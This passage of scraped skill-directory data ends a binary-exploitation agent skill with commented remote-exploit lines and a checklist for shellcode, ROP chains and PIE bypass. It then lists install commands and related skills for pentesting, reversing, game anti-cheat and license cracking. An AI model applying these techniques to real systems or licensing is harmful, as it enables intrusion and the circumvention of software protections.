remote target...\")\n# remote = remote(REMOTE_HOST, REMOTE_PORT)\n# exploit(remote)\n```\n\n## Verification\n\n- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection\n- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP\u002FEIP contains the expected cyclic value\n- Test shellcode payloads execute correctly in a controlled environment with NX disabled\n- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall\u002Ffunction call\n- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used\n- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses\n- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)\n- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary\n",{},"main","19a54ac988e9929160334271f5c1924ddd9b227e","_modules\u002Fperforming-binary-exploitation-analysis",19,"https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill","https:\u002F\u002Fgithub.com\u002Falicewe1","写一些自己用得上的工具，能自动化就绝不手动 · 自动化 \u002F 工程效率 \u002F Agent 技能生态 · 保持好奇，持续构建","2026-09-30 00:41:20",{"source":7,"skillName":5,"commands":33,"prompt":43,"zipAvailable":44},[34,37,40],{"tool":35,"command":36},"npx","npx skills add alicewe1\u002Falice_skill --skill performing-binary-exploitation-analysis",{"tool":38,"command":39},"bunx","bunx skills add alicewe1\u002Falice_skill --skill performing-binary-exploitation-analysis",{"tool":41,"command":42},"pnpm","pnpm dlx skills add alicewe1\u002Falice_skill --skill performing-binary-exploitation-analysis","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002F_modules\u002Fperforming-binary-exploitation-analysis\u002FSKILL.md",true,[46,50],{"path":47,"resourceType":47,"resourceTypeDesc":48,"sizeBytes":49,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":51,"resourceType":52,"resourceTypeDesc":53,"sizeBytes":54,"sourceHtmlUrl":55},"scripts\u002Fagent.py","SCRIPT","脚本",7875,"https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002F_modules\u002Fperforming-binary-exploitation-analysis\u002Fscripts\u002Fagent.py",[57,65,72,79,86,93],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":61,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DBMD9P6R27SWQCW5HYVWG0","alice","Alice 六类技能总路由。用户输入 Alice 或要求查看 Alice 技能菜单时，严格输出固定菜单；输入攻\u002F防模式、六类入口或直接描述任务时，按类别→领域→模块渐进路由。","GPL-3.0","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Faliceskill\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":61,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DBM8X5M7YXPYBVFMWF8HRC","alice-reverse","逆向分析渐进路由（二进制 \u002F 移动端 \u002F 协议 \u002F 取证 \u002F 保护机制 \u002F 运行时观测）。触发词：二进制\u002F移动端\u002F反编译\u002FFrida\u002FIDA\u002FGhidra\u002FPE\u002FELF\u002FAPK\u002F协议\u002F取证；先选领域索引，再按任务匹配度与评分选模块，禁止一次读取全部领域。","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Falice-reverse\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":61,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DBM630E2YKQP29194TT7HC","alice-pentest","web安全渐进路由（Web \u002F API \u002F 资产发现 \u002F 漏洞验证 \u002F 云与网络安全）。触发词：Web\u002FAPI\u002F资产发现\u002F端口\u002F漏洞验证\u002F云与网络安全；先选领域索引，再按任务匹配度与评分选模块，禁止一次读取全部领域。","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Falice-pentest\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":61,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DBM20M2VDYV5D3MYDGBTQX","alice-game","游戏攻防渐进路由（游戏客户端 \u002F 内存 \u002F 图形 \u002F 反作弊 \u002F 安全研究）。触发词：游戏客户端\u002F内存\u002F图形\u002F偏移\u002F反作弊\u002F模拟器\u002F覆盖层；先选领域索引，再按任务匹配度与评分选模块，禁止一次读取全部领域。","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Falice-game\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":61,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DBKXVEKB8931MZG23VACFN","alice-crack","卡密授权渐进路由（卡密 \u002F 激活 \u002F 授权验证 \u002F 许可证管理 \u002F 本地授权分析）。触发词：卡密\u002F激活\u002F授权验证\u002Flicense\u002F机器码\u002F试用状态；先选领域索引，再按任务匹配度与评分选模块，禁止一次读取全部领域。","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Falice-crack\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":61,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":19},"01M7DBKTMT90MGV2WP8K73TMQD","alice-assist","技能指令渐进路由（技能路由 \u002F 评分 \u002F 吸收 \u002F 迁移 \u002F 自动化 \u002F 文档与平台集成）。触发词：技能创建\u002F吸收\u002F评分\u002F迁移\u002F自动化\u002F文档\u002F平台指令；先选领域索引，再按任务匹配度与评分选模块，禁止一次读取全部领域。","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002Falice-assist\u002FSKILL.md",[],[]]